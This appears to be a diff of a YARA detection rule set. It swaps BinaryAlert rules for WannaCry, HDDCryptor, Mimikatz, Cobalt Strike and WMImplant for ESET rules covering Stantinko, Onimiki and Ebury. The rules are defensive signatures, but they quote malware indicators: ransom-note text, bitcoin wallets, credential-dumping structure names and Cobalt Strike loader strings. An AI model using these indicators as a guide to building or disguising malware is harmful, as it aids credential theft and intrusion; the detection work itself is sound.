-		$b1 = "WNcry@2ol7" wide ascii
-		$b2 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" wide ascii
-		$b3 = "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn" wide ascii
-		$b4 = "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw" wide ascii
-		$b5 = "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94" wide ascii
+		Author = "Frédéric Vachon"
+		Description = "BEDS dropper"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	condition:
-		all of ($a*) or any of ($b*)
+		pe.imphash()=="a7ead4ef90d9981e25728e824a1ba3ef"
 }
-rule BINARYALERT_Ransomware_Windows_Hddcryptora
+import "pe"
+
+rule ESET_Facebook_Bot : FILE
 {
 	meta:
-		description = "The HDDCryptor ransomware encrypts local harddisks as well as resources in network shares via Server Message Block (SMB)"
-		author = "@fusionrace"
-		id = "56d7f1f5-811d-58c9-9e1d-d2f48c01e167"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_HDDCryptorA.yara#L1-L23"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "498bdcfb93d13fecaf92e96f77063abf"
-		logic_hash = "24c113be31c3df7b544a5789bf055f77471d450c07f0a6729a715e2a82b4d1f0"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "643b137f-af79-584c-8266-f2335a79f1ba"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L69-L100"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8ea779f90fa6080398403e3e6f9d342360c35e93c756ed43cb699f090106504e"
 		score = 75
-		quality = 78
-		tags = ""
+		quality = 55
+		tags = "FILE"
+		Author = "Frédéric Vachon"
+		Description = "Stantinko's Facebook bot"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$u1 = "You are Hacked" fullword ascii wide
-		$u2 = "Your H.D.D Encrypted , Contact Us For Decryption Key" nocase ascii wide
-		$u3 = "start hard drive encryption..." ascii wide
-		$u4 = "Your hard drive is securely encrypted" ascii wide
-		$g1 = "Wipe All Passwords?" ascii wide
-		$g2 = "SYSTEM\\CurrentControlSet\\Services\\dcrypt\\config" ascii wide
-		$g3 = "DiskCryptor" ascii wide
-		$g4 = "dcinst.exe" fullword ascii wide
-		$g5 = "dcrypt.exe" fullword ascii wide
-		$g6 = "you can only use AES to encrypt the boot partition!" ascii wide
+		$s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+		$s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii
+		$s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii
+		$s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii
+		$s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii
+		$s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+		$x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii
+		$x2 = "registration@facebookmail.com" fullword ascii
+		$x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii
+		$x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii
+		$x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii
+		$x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii
+		$x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii
+		$x8 = "payload.commentID" fullword ascii
+		$x9 = "profile.login" fullword ascii
 
 	condition:
-		2 of ($u*) or 4 of ($g*)
+		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($s*) or 3 of ($x*))) or ( all of them )
 }
 import "pe"
 
-rule BINARYALERT_Ransomware_Windows_Lazarus_Wannacry : FILE
+rule ESET_Pds_Plugins : FILE
 {
 	meta:
-		description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
-		author = "Costin G. Raiu, Kaspersky Lab"
-		id = "6335bd03-0625-5856-891c-9a5decd7e00f"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://twitter.com/neelmehta/status/864164081116225536"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_lazarus_wannacry.yara#L3-L32"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "dddff5f74bf3f11baf1d3853d6cb5e5b1e0c5e75445c421d4d5145f7a496fc4b"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "dfa75db5-f21c-5b5e-84ba-3bfdcc3efdcd"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L102-L130"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "26bbd380b72fb45206178639d67c8737b9984b140ba1048432949e159946c847"
 		score = 75
 		quality = 80
 		tags = "FILE"
-		md5_1 = "9c7c7149387a1c79679a87dd1ba755bc"
-		md5_2 = "ac21c8ad899727137c4b94458d7aa8d8"
+		Author = "Frédéric Vachon"
+		Description = "Stantinko PDS' plugins"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$a1 = {
-        51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
-        04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01
-        46 56 E8
-        }
-		$a2 = {
-        03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
-        10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
-        30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
-        38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
-        44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
-        68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
-        FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
-        08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
-        10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
-        2B C0 2C C0 FF FE
-        }
+		$s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+		$s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+		$s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+		$s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+		$s5 = "CHTTPHeaderManager" fullword ascii
+		$s6 = "CHTTPPostItemManager *" fullword ascii
+		$s7 = "CHTTPHeaderManager *" fullword ascii
+		$s8 = "CHTTPPostItemManager" fullword ascii
+		$s9 = "CHTTPHeader" fullword ascii
+		$s10 = "CHTTPPostItem" fullword ascii
+		$s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii
+		$s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii
+		$s13 = "CCookieManager *" fullword ascii
 
 	condition:
-		(( uint16(0)==0x5A4D)) and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and (2 of ($s*)))
 }
-rule BINARYALERT_Hacktool_Windows_Mimikatz_Sekurlsa
+import "pe"
+
+rule ESET_Stantinko_Pdb
 {
 	meta:
-		description = "Mimikatz credential dump tool"
-		author = "@fusionrace"
-		id = "08fe62c5-f7a4-5985-a298-1d3c2c1744d4"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/gentilkiwi/mimikatz"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_sekurlsa.yara#L1-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "24e958c3cbda8e01dc2d84b3059114ea23f4b38db1676f7b72e5eabfa52b7335"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "24694e53-b89e-5cd3-ad53-e738bbd7d69d"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L132-L148"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "902c0ee086ce1a8def831d2f30c868165198c6c304faac3a93116a524f8e2fbf"
 		score = 75
 		quality = 80
 		tags = ""
-		SHA256_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
-		SHA256_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+		Author = "Frédéric Vachon"
+		Description = "Stantinko malware family PDB path"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$s1 = "dpapisrv!g_MasterKeyCacheList" fullword ascii wide
-		$s2 = "lsasrv!g_MasterKeyCacheList" fullword ascii wide
-		$s3 = "!SspCredentialList" ascii wide
-		$s4 = "livessp!LiveGlobalLogonSessionList" fullword ascii wide
-		$s5 = "wdigest!l_LogSessList" fullword ascii wide
-		$s6 = "tspkg!TSGlobalCredTable" fullword ascii wide
+		$s1 = "D:\\work\\service\\service\\" ascii
 
 	condition:
 		all of them
 }
-rule BINARYALERT_Hacktool_Windows_Mimikatz_Files
+import "pe"
+
+rule ESET_Stantinko_Droppers : FILE
 {
 	meta:
-		description = "Mimikatz credential dump tool: Files"
-		author = "@fusionrace"
-		id = "ea4fd443-64dd-5466-8525-40c3a023e229"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/gentilkiwi/mimikatz"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_files.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "50d23cda49ca559da2e504e53b46b58679ea8bc07c501ff7764a3d142598adc8"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "fe2e6987-929a-59e3-a9ec-01a9f55fe589"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L150-L170"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "c56fc85834a3e1bb1c14da37fb509c7de3009bf81d52800fe0093dc489f6deaa"
 		score = 75
 		quality = 80
-		tags = ""
-		md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
-		md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
+		tags = "FILE"
+		Author = "Marc-Etienne M.Léveillé"
+		Description = "Stantinko droppers"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$s1 = "kiwifilter.log" fullword wide
-		$s2 = "kiwissp.log" fullword wide
-		$s3 = "mimilib.dll" fullword ascii wide
+		$s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45}
+		$s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00}
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and 1 of them
 }
-rule BINARYALERT_Hacktool_Windows_Ncc_Wmicmd
+import "pe"
+
+rule ESET_Stantinko_D3D
 {
 	meta:
-		description = "Command shell wrapper for WMI"
-		author = "@mimeframe"
-		id = "18bc36f7-b97a-5bce-a68b-c349713e9468"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/nccgroup/WMIcmd"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_ncc_wmicmd.yara#L1-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "bef6828a706dcfc3b573523fccd391a5ef3fa505235b1621a82527d64d32aaf0"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "6652e55c-96a0-55a7-9941-7f32bbf984e5"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L172-L187"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "4e8da3f11df15e4aa469db62961ae390c4c4df2a5335eec0bdab19b14cc8343d"
 		score = 75
 		quality = 80
 		tags = ""
-
-	strings:
-		$a1 = "Need to specify a username, domain and password for non local connections" wide ascii
-		$a2 = "WS-Management is running on the remote host" wide ascii
-		$a3 = "firewall (if enabled) allows connections" wide ascii
-		$a4 = "WARNING: Didn't see stdout output finished marker - output may be truncated" wide ascii
-		$a5 = "Command sleep in milliseconds - increase if getting truncated output" wide ascii
-		$b1 = "0x800706BA" wide ascii
-		$b2 = "NTLMDOMAIN:" wide ascii
-		$b3 = "cimv2" wide ascii
+		Author = "Marc-Etienne M.Léveillé"
+		Description = "Stantinko d3dadapter component"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	condition:
-		any of ($a*) or all of ($b*)
+		pe.exports("EntryPoint") and pe.exports("ServiceMain") and pe.imports("WININET.DLL","HttpAddRequestHeadersA")
 }
-rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Postexploitation : FILE
+import "pe"
+
+rule ESET_Stantinko_Ihctrl32
 {
 	meta:
-		description = "Detection of strings in the post-exploitation modules of Cobalt Strike"
-		author = "@javutin, @mimeframe"
-		id = "76c2a5ae-bc7c-50c7-8731-94c75912574f"
-		date = "2017-12-14"
-		modified = "2017-12-14"
-		reference = "https://www.cobaltstrike.com/support"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_postexploitation.yara#L1-L13"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "1a89128a0f5774d1333be440d38128e29cb36f9818fa44e60482ef078078aca8"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "e8ab9f78-f438-5d9b-8407-e6c7e241da2c"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L189-L209"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "1829e08fb2289f738d0e75ad9977169e9a94379da764b1766f23fa47e8bc2543"
 		score = 75
 		quality = 80
-		tags = "FILE"
+		tags = ""
+		Author = "Marc-Etienne M.Léveillé"
+		Description = "Stantinko ihctrl32 component"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$s1 = "\\devcenter\\aggressor\\external\\"
+		$s1 = "ihctrl32.dll"
+		$s2 = "win32_hlp"
+		$s3 = "Ihctrl32Main"
+		$s4 = "I%citi%c%size%s%c%ci%s"
+		$s5 = "Global\\Intel_hctrl32"
 
 	condition:
-		filesize >10KB and filesize <1000KB and all of ($s*)
+		2 of them
 }
-import "math"
 import "pe"
 
-rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Artifact_Exe : FILE
+rule ESET_Stantinko_Wsaudio
 {
 	meta:
-		description = "Detection of the Artifact payload from Cobalt Strike"
-		author = "@javutin, @joseselvi"
-		id = "ca92eea2-ad19-56df-af73-bebfc3690377"
-		date = "2017-12-14"
-		modified = "2017-12-14"
-		reference = "https://www.cobaltstrike.com/help-artifact-kit"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_artifact.yara#L6-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f2f3b9936041cb4bb4b5613d2522553b9835704e1be52993e757fc0edbdd7871"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "623f4ac7-03ec-52df-b7bf-0a2055453c52"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L211-L233"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "45d92f1475f316ba50a9a4a3dd519d1186ed16c68bd2debe326736a1e3154562"
 		score = 75
-		quality = 55
-		tags = "FILE"
+		quality = 80
+		tags = ""
+		Author = "Marc-Etienne M.Léveillé"
+		Description = "Stantinko wsaudio component"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
+
+	strings:
+		$s1 = "GetInterface"
+		$s2 = "wsaudio.dll"
+		$s3 = "Global\\Wsaudio_Initialize"
+		$s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\"
 
 	condition:
-		BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE and filesize <100KB and pe.sections[pe.section_index(".data")].raw_data_size>512 and math.entropy(pe.sections[pe.section_index(".data")].raw_data_offset,512)>=7
+		2 of them
 }
-rule BINARYALERT_Hacktool_Windows_Wmi_Implant
+import "pe"
+
+rule ESET_Stantinko_Ghstore
 {
 	meta:
-		description = "A PowerShell based tool that is designed to act like a RAT"
-		author = "@fusionrace"
-		id = "cd90ef31-6e15-5518-8278-98e99e379916"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_wmi_implant.yara#L1-L21"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "8b02fd265b04b9675a99b9638fdd179c8a86ed3afd7506195f3d3dcb2417d74d"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "ef9f0c27-35ea-5dd5-925f-09b6e043569d"
+		date = "2017-07-17"
+		modified = "2017-07-20"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/stantinko/stantinko.yar#L235-L255"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "e5628d6ffb2d3684264b3a88c4d7b5d2ce8983aa22badf5839ccb8ba2e3ef2d4"
 		score = 75
 		quality = 80
 		tags = ""
+		Author = "Marc-Etienne M.Léveillé"
+		Description = "Stantinko ghstore component"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$s1 = "This really isn't applicable unless you are using WMImplant interactively." fullword ascii wide
-		$s2 = "What command do you want to run on the remote system? >" fullword ascii wide
-		$s3 = "Do you want to [create] or [delete] a string registry value? >" fullword ascii wide
-		$s4 = "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >" fullword ascii wide
-		$s5 = "What is the name of the service you are targeting? >" fullword ascii wide
-		$s6 = "This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine" fullword ascii wide
-		$s7 = "gen_cli - Generate the CLI command to execute a command via WMImplant" fullword ascii wide
-		$s8 = "exit - Exit WMImplant" fullword ascii wide
-		$s9 = "Lateral Movement Facilitation" fullword ascii wide
-		$s10 = "vacant_system - Determine if a user is away from the system." fullword ascii wide
-		$s11 = "Please provide the ProcessID or ProcessName flag to specify the process to kill!" fullword ascii wide
+		$s1 = "G%cost%sSt%c%s%s%ce%sr" wide
+		$s2 = "%cho%ct%sS%sa%c%s%crve%c" wide
+		$s3 = "Par%c%ce%c%c%s" wide
+		$s4 = "S%c%curity%c%s%c%s" wide
+		$s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide
 
 	condition:
-		any of them
+		3 of them
 }
-rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Powershell : FILE
+rule ESET_Onimiki : LINUX_ONIMIKI
 {
 	meta:
-		description = "Detection of the PowerShell payloads from Cobalt Strike"
-		author = "@javutin, @joseselvi"
-		id = "155f181a-56cb-5295-a903-744f79012733"
-		date = "2017-12-14"
-		modified = "2017-12-14"
-		reference = "https://www.cobaltstrike.com/help-payload-generator"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_powershell.yara#L1-L21"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "39dd0aaa84d02aae5766d764c3d371f03f9df33acf5f6ae4ab4a8c73dd827213"
+		description = "Linux/Onimiki malicious DNS server"
+		author = "Olivier Bilodeau <bilodeau@eset.com>"
+		id = "3a99799f-fbb4-5fee-a796-3310acd10e17"
+		date = "2014-02-06"
+		modified = "2014-04-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/windigo-onimiki.yar#L32-L59"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "eac30f5c9a9606d1d0e14c55e0532c54976fbb0d2e4f5cd2d9f719b77e07161a"
 		score = 75
 		quality = 80
-		tags = "FILE"
+		tags = "LINUX/ONIMIKI"
+		malware = "Linux/Onimiki"
+		operation = "Windigo"
+		contact = "windigo@eset.sk"
+		license = "BSD 2-Clause"
 
 	strings:
-		$ps1 = "Set-StrictMode -Version 2"
-		$ps2 = "func_get_proc_address"
-		$ps3 = "func_get_delegate_type"
-		$ps4 = "FromBase64String"
-		$ps5 = "VirtualAlloc"
-		$ps6 = "var_code"
-		$ps7 = "var_buffer"
-		$ps8 = "var_hthread"
+		$a1 = {43 0F B6 74 2A 0E 43 0F  B6 0C 2A 8D 7C 3D 00 8D}
+		$a2 = {74 35 00 8D 4C 0D 00 89  F8 41 F7 E3 89 F8 29 D0}
+		$a3 = {D1 E8 01 C2 89 F0 C1 EA  04 44 8D 0C 92 46 8D 0C}
+		$a4 = {8A 41 F7 E3 89 F0 44 29  CF 29 D0 D1 E8 01 C2 89}
+		$a5 = {C8 C1 EA 04 44 8D 04 92  46 8D 04 82 41 F7 E3 89}
+		$a6 = {C8 44 29 C6 29 D0 D1 E8  01 C2 C1 EA 04 8D 04 92}
+		$a7 = {8D 04 82 29 C1 42 0F B6  04 21 42 88 84 14 C0 01}
+		$a8 = {00 00 42 0F B6 04 27 43  88 04 32 42 0F B6 04 26}
+		$a9 = {42 88 84 14 A0 01 00 00  49 83 C2 01 49 83 FA 07}
 
 	condition:
-		$ps1 at 0 and filesize <1000KB and all of ($ps*)
+		all of them
 }
-rule BINARYALERT_Hacktool_Windows_Mimikatz_Copywrite
+import "elf"
+
+rule ESET_Libkeyutils_With_Ctor
 {
 	meta:
-		description = "Mimikatz credential dump tool: Author copywrite"
-		author = "@fusionrace"
-		id = "bf7a52b5-c0af-5805-a2da-41ae3842e0c6"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/gentilkiwi/mimikatz"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_copywrite.yara#L1-L24"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "f0e8a8b0c7398e7af06bd074eec0433265ba0e675bdbff354e59432c246b0b36"
+		description = "This rule detects if a libkeyutils.so shared library has a potentially malicious function to be called when loaded, either via a glibc constructor (DT_INIT + .ctors) or an initializer function in DT_INIT_ARRAY."
+		author = "ESET, spol. s r.o."
+		id = "7b466bf7-f895-569d-99b0-eca95a6ebc83"
+		date = "2024-02-01"
+		modified = "2024-04-29"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/windigo/ebury.yar#L3-L54"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "e7debd6e453192ad8376db5bab03ed0d87566591"
+		logic_hash = "c6172aebc67a05fb044b0450aafcc71c7d1fd2831985587d1a9ad53f59e14214"
 		score = 75
 		quality = 80
 		tags = ""
-		md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8"
-		md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b"
-		md5_3 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143"
-		md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
-		md5_5 = "09c542ff784bf98b2c4899900d4e699c5b2e2619a4c5eff68f6add14c74444ca"
-		md5_6 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+		license = "BSD 2-Clause"
+		version = 2
 
 	strings:
-		$s1 = "Kiwi en C" fullword ascii wide
-		$s2 = "Benjamin DELPY `gentilkiwi`" fullword ascii wide
-		$s3 = "http://blog.gentilkiwi.com/mimikatz" fullword ascii wide
-		$s4 = "Build with love for POC only" fullword ascii wide
-		$s5 = "gentilkiwi (Benjamin DELPY)" fullword wide
-		$s6 = "KiwiSSP" fullword wide
-		$s7 = "Kiwi Security Support Provider" fullword wide
-		$s8 = "kiwi flavor !" fullword wide
+		$libname = "libkeyutils.so.1"
 
 	condition:
-		any of them
+		for any ptr_size in (4,8) : (((ptr_size==4 and elf.machine==elf.EM_386) or (ptr_size==8 and elf.machine==elf.EM_X86_64)) and for any d in elf.dynamic : (d.type==elf.DT_SONAME and ( for any s in elf.sections : (s.name==".dynstr" and $libname at (s.offset+d.val)) or for any s in elf.dynamic : (s.type==elf.DT_STRTAB and $libname at (s.val+d.val)))) and ( for any s in elf.sections : (s.name==".ctors" and s.size>2*ptr_size) or for any d in elf.dynamic : (d.type==elf.DT_INIT_ARRAYSZ and d.val>ptr_size)))
 }
-rule BINARYALERT_Hacktool_Windows_Hot_Potato
+import "elf"
+
+rule ESET_Ebury_V1_7_Crypto
 {
 	meta:
-		description = "No description has been set in the source file - BinaryAlert"
-		author = "@mimeframe"
-		id = "dee13640-b4a9-5a39-af01-338c0197c995"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/foxglovesec/Potato"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_hot_potato.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "1ccee61660b3478294a5a4e1ca2b16c91156f6c877d0f83848cccd18a3f753f7"
+		description = "This rule detects the strings decryption routine in Ebury v1.7 and v1.8"
+		author = "ESET, spol. s r.o."
+		id = "93dadf5f-b572-5217-8c82-4957c6d24955"
